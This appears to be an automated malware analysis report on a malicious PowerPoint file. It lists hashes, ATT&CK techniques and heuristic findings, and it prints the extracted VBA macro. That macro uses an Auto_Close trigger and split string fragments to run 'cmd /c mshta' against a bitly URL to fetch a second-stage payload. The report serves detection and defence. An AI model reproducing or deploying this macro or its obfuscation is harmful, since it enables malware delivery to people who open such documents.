Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 739f668793f78653…

MALICIOUS

Office (OOXML)

7.2 KB First seen: 2021-10-16
MD5: f02bae47c7b341dbe83ffca186b214ca SHA-1: 5c6e31828f7d5c396b4b884a229c69899c3e00ab SHA-256: 739f668793f786538f09119c7c6310633bd7ad1e0ac76fdf076f7e466b245c44
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with an Auto_Close function that is designed to execute malicious code. The script reassembles the string 'cmd /c mshtahttp://1230948%1230948@bitly.com/fcafadfaafdsafdasfasdasfcaf' and executes it. This indicates the macro's intent is to download and run a second-stage payload from the constructed URL.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 688 bytes
SHA-256: ba6478cbaa5a3e23e8a7df0ba5cc02e9d913817b413d74e0957da9a3806ffe07
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function Auto_ClOse() As Variant

maviya11 = " h" + "t" + "" + "" + "" + "" + "t" + "p" + ":" + "/" + "/" + "1" + "2" + "3" + "0" + "9" + "4" + "8"
maviya22 = "%" + "1" + "2" + "3" + "0" + "9" + "4" + "" + "" + "" + "" + "8" + "@" + "b" + "i" + "" + "t" + "l" + "y" + "." + "co" + "m" + "/"
maviya33 = "fcafadf" + "aa" + "fdsafdasfas" + "dasfcaf"

: Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "p" + "" + "" + "i" + "ng": Shell "c" + "m" + "d /" + "c m" + "s" + "h" + "t" + "a" + maviya11 + maviya22 + maviya33: Shell "pi" + "ng": Shell "pi" + "ng": Shell "pi" + "ng": Shell "p" + "i" + "n" + "g"


End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 14336 bytes
SHA-256: 0a1120de8620e46790dac2eae4e0635a430ba77037091d9279fc99d3b1a0cb98

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